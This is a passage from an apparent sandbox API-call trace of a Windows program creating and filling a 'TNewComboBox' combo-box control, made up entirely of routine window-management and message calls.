lpCursorName=0x7f00) returned 0x10003 [0254.074] GetClassInfoA (in: hInstance=0x400000, lpClassName="COMBOBOX", lpWndClass=0x18fd68 | out: lpWndClass=0x18fd68) returned 1 [0254.075] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewComboBox", lpWndClass=0x18fdd0 | out: lpWndClass=0x18fdd0) returned 0 [0254.076] RegisterClassA (lpWndClass=0x18fd68) returned 0x1bc1d4 [0254.076] CreateWindowExA (dwExStyle=0x200, lpClassName="TNewComboBox", lpWindowName=0x0, dwStyle=0x44210343, X=56, Y=56, nWidth=233, nHeight=21, hWndParent=0x70042, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x90168 [0254.076] SetWindowLongA (hWnd=0x90168, nIndex=-4, dwNewLong=2297774) returned 4274892 [0254.076] GetWindowLongA (hWnd=0x90168, nIndex=-16) returned 1143014211 [0254.076] GetWindowLongA (hWnd=0x90168, nIndex=-12) returned 0 [0254.076] SetWindowLongA (hWnd=0x90168, nIndex=-12, dwNewLong=590184) returned 0 [0254.077] SetPropA (hWnd=0x90168, lpString=0xc167, hData=0x3909a4) returned 1 [0254.077] SetPropA (hWnd=0x90168, lpString=0xc168, hData=0x3909a4) returned 1 [0254.077] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x81, wParam=0x0, lParam=0x18f928) returned 0x1 [0254.077] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f3d8) returned 0x0 [0254.077] SelectObject (hdc=0x1101017d, h=0x185000f) returned 0xe050178 [0254.078] GetCurrentPositionEx (in: hdc=0x1101017d, lppt=0x18f218 | out: lppt=0x18f218) returned 1 [0254.078] DeleteDC (hdc=0x1101017d) returned 1 [0254.078] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f3d8) returned 0xffffffff [0254.078] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f3d8) returned 0x0 [0254.078] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f3d8) returned 0xffffffff [0254.078] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x7c, wParam=0xffffffec, lParam=0x18f3d8) returned 0x0 [0254.078] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x7d, wParam=0xffffffec, lParam=0x18f3d8) returned 0xffffffff [0254.079] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x83, wParam=0x0, lParam=0x18f914) returned 0x0 [0254.079] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x1, wParam=0x0, lParam=0x18f928) returned 0x90168 [0254.088] GetWindowThreadProcessId (in: hWnd=0x20338, lpdwProcessId=0x18ede8 | out: lpdwProcessId=0x18ede8) returned 0x8cc [0254.088] GetCurrentProcessId () returned 0x8d0 [0254.088] GetPropA (hWnd=0x20338, lpString=0xc167) returned 0x0 [0254.088] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x210, wParam=0x3e80001, lParam=0x20338) returned 0x1 [0254.088] GetWindowThreadProcessId (in: hWnd=0x20338, lpdwProcessId=0x18ea88 | out: lpdwProcessId=0x18ea88) returned 0x8cc [0254.088] GetCurrentProcessId () returned 0x8d0 [0254.088] GetPropA (hWnd=0x20338, lpString=0xc167) returned 0x0 [0254.088] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x210, wParam=0x3e80001, lParam=0x20338) returned 0x0 [0254.092] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x46, wParam=0x0, lParam=0x18f39c) returned 0x1 [0254.092] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x83, wParam=0x1, lParam=0x18f374) returned 0x0 [0254.092] IsWindowVisible (hWnd=0x90168) returned 0 [0254.092] IsIconic (hWnd=0x90168) returned 0 [0254.092] GetWindowRect (in: hWnd=0x90168, lpRect=0x18f158 | out: lpRect=0x18f158) returned 1 [0254.093] GetWindowLongA (hWnd=0x90168, nIndex=-16) returned 1140917059 [0254.093] GetWindowLongA (hWnd=0x90168, nIndex=-8) returned 458818 [0254.093] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f158 | out: lpPoint=0x18f158) returned 1 [0254.093] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f160 | out: lpPoint=0x18f160) returned 1 [0254.093] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x47, wParam=0x0, lParam=0x18f39c) returned 0x0 [0254.093] IsIconic (hWnd=0x90168) returned 0 [0254.093] GetWindowRect (in: hWnd=0x90168, lpRect=0x18ed10 | out: lpRect=0x18ed10) returned 1 [0254.093] GetWindowLongA (hWnd=0x90168, nIndex=-16) returned 1140917059 [0254.093] GetWindowLongA (hWnd=0x90168, nIndex=-8) returned 458818 [0254.093] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18ed10 | out: lpPoint=0x18ed10) returned 1 [0254.093] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18ed18 | out: lpPoint=0x18ed18) returned 1 [0254.093] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x5, wParam=0x0, lParam=0x1800e9) returned 0x0 [0254.093] GetClientRect (in: hWnd=0x90168, lpRect=0x18ed3c | out: lpRect=0x18ed3c) returned 1 [0254.094] SetWindowTextA (hWnd=0x90168, lpString=0x0) returned 0 [0254.094] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0xc, wParam=0x0, lParam=0x0) returned 0xffffffff [0254.094] IsIconic (hWnd=0x90168) returned 0 [0254.094] GetWindowRect (in: hWnd=0x90168, lpRect=0x18f718 | out: lpRect=0x18f718) returned 1 [0254.094] GetWindowLongA (hWnd=0x90168, nIndex=-16) returned 1140917059 [0254.094] GetWindowLongA (hWnd=0x90168, nIndex=-8) returned 458818 [0254.094] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f718 | out: lpPoint=0x18f718) returned 1 [0254.094] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f720 | out: lpPoint=0x18f720) returned 1 [0254.094] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x5, wParam=0x0, lParam=0x1800e9) returned 0x0 [0254.094] GetClientRect (in: hWnd=0x90168, lpRect=0x18f744 | out: lpRect=0x18f744) returned 1 [0254.094] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x3, wParam=0x0, lParam=0x380038) returned 0x0 [0254.094] IsIconic (hWnd=0x90168) returned 0 [0254.095] GetWindowRect (in: hWnd=0x90168, lpRect=0x18f71c | out: lpRect=0x18f71c) returned 1 [0254.095] GetWindowLongA (hWnd=0x90168, nIndex=-16) returned 1140917059 [0254.095] GetWindowLongA (hWnd=0x90168, nIndex=-8) returned 458818 [0254.095] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f71c | out: lpPoint=0x18f71c) returned 1 [0254.095] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f724 | out: lpPoint=0x18f724) returned 1 [0254.095] GetWindowThreadProcessId (in: hWnd=0x90168, lpdwProcessId=0x18f738 | out: lpdwProcessId=0x18f738) returned 0x8cc [0254.095] GetCurrentProcessId () returned 0x8d0 [0254.095] GetPropA (hWnd=0x90168, lpString=0xc167) returned 0x3909a4 [0254.095] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0xbe10, wParam=0x1680001, lParam=0x90168) returned 0x0 [0254.095] IsIconic (hWnd=0x90168) returned 0 [0254.095] GetWindowRect (in: hWnd=0x90168, lpRect=0x18fcf8 | out: lpRect=0x18fcf8) returned 1 [0254.095] GetWindowLongA (hWnd=0x90168, nIndex=-16) returned 1140917059 [0254.095] GetWindowLongA (hWnd=0x90168, nIndex=-8) returned 458818 [0254.095] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fcf8 | out: lpPoint=0x18fcf8) returned 1 [0254.095] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fd00 | out: lpPoint=0x18fd00) returned 1 [0254.095] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x30, wParam=0x260a06d8, lParam=0x1) returned 0x1 [0254.096] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x46, wParam=0x0, lParam=0x18fa90) returned 0x1 [0254.096] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x83, wParam=0x1, lParam=0x18fa68) returned 0x0 [0254.097] IsWindowVisible (hWnd=0x90168) returned 0 [0254.097] IsIconic (hWnd=0x90168) returned 0 [0254.097] GetWindowRect (in: hWnd=0x90168, lpRect=0x18f84c | out: lpRect=0x18f84c) returned 1 [0254.097] GetWindowLongA (hWnd=0x90168, nIndex=-16) returned 1140917059 [0254.097] GetWindowLongA (hWnd=0x90168, nIndex=-8) returned 458818 [0254.097] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f84c | out: lpPoint=0x18f84c) returned 1 [0254.097] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f854 | out: lpPoint=0x18f854) returned 1 [0254.097] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x47, wParam=0x0, lParam=0x18fa90) returned 0x0 [0254.097] IsIconic (hWnd=0x90168) returned 0 [0254.097] GetWindowRect (in: hWnd=0x90168, lpRect=0x18f404 | out: lpRect=0x18f404) returned 1 [0254.097] GetWindowLongA (hWnd=0x90168, nIndex=-16) returned 1140917059 [0254.097] GetWindowLongA (hWnd=0x90168, nIndex=-8) returned 458818 [0254.097] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f404 | out: lpPoint=0x18f404) returned 1 [0254.097] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18f40c | out: lpPoint=0x18f40c) returned 1 [0254.097] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x5, wParam=0x0, lParam=0x1500e9) returned 0x0 [0254.097] GetClientRect (in: hWnd=0x90168, lpRect=0x18f430 | out: lpRect=0x18f430) returned 1 [0254.098] SendMessageA (hWnd=0x90168, Msg=0x141, wParam=0xff, lParam=0x0) returned 0xffffffff [0254.098] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x141, wParam=0xff, lParam=0x0) returned 0xffffffff [0254.098] SetPropA (hWnd=0x90168, lpString=0xc167, hData=0x3909a4) returned 1 [0254.098] SetPropA (hWnd=0x90168, lpString=0xc168, hData=0x3909a4) returned 1 [0254.098] SetWindowPos (hWnd=0x90168, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0254.098] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x46, wParam=0x0, lParam=0x18fdcc) returned 0x1 [0254.098] SetWindowLongW (hWnd=0x90168, nIndex=-4, dwNewLong=4689272) returned -65105 [0254.099] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x0 [0254.099] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x0 [0254.101] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x0, lParam=0x0) returned 0x1 [0254.101] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x0, lParam=0x0) returned 0x1 [0254.101] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x0, lParam=0x0) returned 0x1 [0254.101] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x0 [0254.101] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x0 [0254.105] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x0, lParam=0x1) returned 0x1 [0254.105] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x0, lParam=0x1) returned 0x1 [0254.105] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x0, lParam=0x1) returned 0x1 [0254.105] GetACP () returned 0x4e4 [0254.105] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x2 [0254.105] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x2 [0254.109] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x2, lParam=0x2) returned 0x1 [0254.109] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x2, lParam=0x2) returned 0x1 [0254.109] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x2, lParam=0x2) returned 0x1 [0254.109] GetACP () returned 0x4e4 [0254.109] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x1 [0254.110] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x1 [0254.113] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x1, lParam=0x3) returned 0x1 [0254.113] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x1, lParam=0x3) returned 0x1 [0254.113] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x1, lParam=0x3) returned 0x1 [0254.113] GetACP () returned 0x4e4 [0254.113] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x2 [0254.113] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x2 [0254.117] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x2, lParam=0x4) returned 0x1 [0254.117] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x2, lParam=0x4) returned 0x1 [0254.117] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x2, lParam=0x4) returned 0x1 [0254.117] GetACP () returned 0x4e4 [0254.117] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x2 [0254.117] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x2 [0254.121] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x2, lParam=0x5) returned 0x1 [0254.121] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x2, lParam=0x5) returned 0x1 [0254.121] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x2, lParam=0x5) returned 0x1 [0254.121] GetACP () returned 0x4e4 [0254.121] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x4 [0254.121] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x4 [0254.124] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x4, lParam=0x6) returned 0x1 [0254.124] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x4, lParam=0x6) returned 0x1 [0254.124] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x4, lParam=0x6) returned 0x1 [0254.125] GetACP () returned 0x4e4 [0254.125] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x6 [0254.125] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x6 [0254.128] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x6, lParam=0x7) returned 0x1 [0254.128] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x6, lParam=0x7) returned 0x1 [0254.128] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x6, lParam=0x7) returned 0x1 [0254.128] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x6 [0254.128] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x6 [0254.132] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x6, lParam=0x8) returned 0x1 [0254.132] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x6, lParam=0x8) returned 0x1 [0254.132] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x6, lParam=0x8) returned 0x1 [0254.132] GetACP () returned 0x4e4 [0254.132] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x9 [0254.132] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x9 [0254.135] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x9, lParam=0x9) returned 0x1 [0254.135] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x9, lParam=0x9) returned 0x1 [0254.135] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x9, lParam=0x9) returned 0x1 [0254.135] GetACP () returned 0x4e4 [0254.136] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x7 [0254.136] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x7 [0254.139] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x7, lParam=0xa) returned 0x1 [0254.139] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x7, lParam=0xa) returned 0x1 [0254.139] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x7, lParam=0xa) returned 0x1 [0254.139] GetACP () returned 0x4e4 [0254.139] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x8 [0254.139] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x8 [0254.149] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x8, lParam=0xb) returned 0x1 [0254.149] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x8, lParam=0xb) returned 0x1 [0254.149] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x8, lParam=0xb) returned 0x1 [0254.149] GetACP () returned 0x4e4 [0254.149] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x5 [0254.149] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x5 [0254.154] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x5, lParam=0xc) returned 0x1 [0254.154] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x5, lParam=0xc) returned 0x1 [0254.154] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x5, lParam=0xc) returned 0x1 [0254.154] GetACP () returned 0x4e4 [0254.154] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0xa [0254.154] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0xa [0254.158] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0xa, lParam=0xd) returned 0x1 [0254.158] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0xa, lParam=0xd) returned 0x1 [0254.158] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0xa, lParam=0xd) returned 0x1 [0254.158] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0xa [0254.158] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0xa [0254.161] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0xa, lParam=0xe) returned 0x1 [0254.161] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0xa, lParam=0xe) returned 0x1 [0254.161] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0xa, lParam=0xe) returned 0x1 [0254.162] GetACP () returned 0x4e4 [0254.162] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0xb [0254.162] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0xb [0254.165] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0xb, lParam=0xf) returned 0x1 [0254.165] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0xb, lParam=0xf) returned 0x1 [0254.165] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0xb, lParam=0xf) returned 0x1 [0254.165] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0xc [0254.165] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0xc [0254.169] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0xc, lParam=0x10) returned 0x1 [0254.169] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0xc, lParam=0x10) returned 0x1 [0254.169] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0xc, lParam=0x10) returned 0x1 [0254.169] GetACP () returned 0x4e4 [0254.169] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0xf [0254.169] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0xf [0254.173] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0xf, lParam=0x11) returned 0x1 [0254.173] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0xf, lParam=0x11) returned 0x1 [0254.173] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0xf, lParam=0x11) returned 0x1 [0254.173] GetACP () returned 0x4e4 [0254.173] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x10 [0254.173] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x10 [0254.176] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x10, lParam=0x12) returned 0x1 [0254.177] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x10, lParam=0x12) returned 0x1 [0254.177] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x10, lParam=0x12) returned 0x1 [0254.177] GetACP () returned 0x4e4 [0254.177] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x11 [0254.177] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x11 [0254.180] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x11, lParam=0x13) returned 0x1 [0254.180] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x11, lParam=0x13) returned 0x1 [0254.180] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x11, lParam=0x13) returned 0x1 [0254.180] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x13 [0254.180] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x13 [0254.184] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x13, lParam=0x14) returned 0x1 [0254.184] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x13, lParam=0x14) returned 0x1 [0254.184] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x13, lParam=0x14) returned 0x1 [0254.184] GetACP () returned 0x4e4 [0254.184] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x9 [0254.184] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x9 [0254.192] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x9, lParam=0x15) returned 0x1 [0254.192] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x9, lParam=0x15) returned 0x1 [0254.192] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x9, lParam=0x15) returned 0x1 [0254.192] GetACP () returned 0x4e4 [0254.192] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x15 [0254.192] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x15 [0254.195] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x15, lParam=0x16) returned 0x1 [0254.195] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x15, lParam=0x16) returned 0x1 [0254.195] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x15, lParam=0x16) returned 0x1 [0254.195] GetACP () returned 0x4e4 [0254.195] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x16 [0254.196] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x16 [0254.199] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x16, lParam=0x17) returned 0x1 [0254.199] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x16, lParam=0x17) returned 0x1 [0254.199] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x16, lParam=0x17) returned 0x1 [0254.199] GetACP () returned 0x4e4 [0254.199] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x7 [0254.199] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x7 [0254.203] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x7, lParam=0x18) returned 0x1 [0254.203] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x7, lParam=0x18) returned 0x1 [0254.203] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x7, lParam=0x18) returned 0x1 [0254.205] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x19 [0254.205] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x19 [0254.209] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x19, lParam=0x19) returned 0x1 [0254.209] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x151, wParam=0x19, lParam=0x19) returned 0x1 [0254.209] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x151, wParam=0x19, lParam=0x19) returned 0x1 [0254.209] GetACP () returned 0x4e4 [0254.209] SendMessageW (hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x1a [0254.209] CallWindowProcW (lpPrevWndFunc=0x73b267e0, hWnd=0x90168, Msg=0x143, wParam=0x0, lParam=0x391064) returned 0x1a [0254.212] SendMessageA (hWnd=0x90168, Msg=0x151, wParam=0x1a, lParam=0x1a) returned 0x1 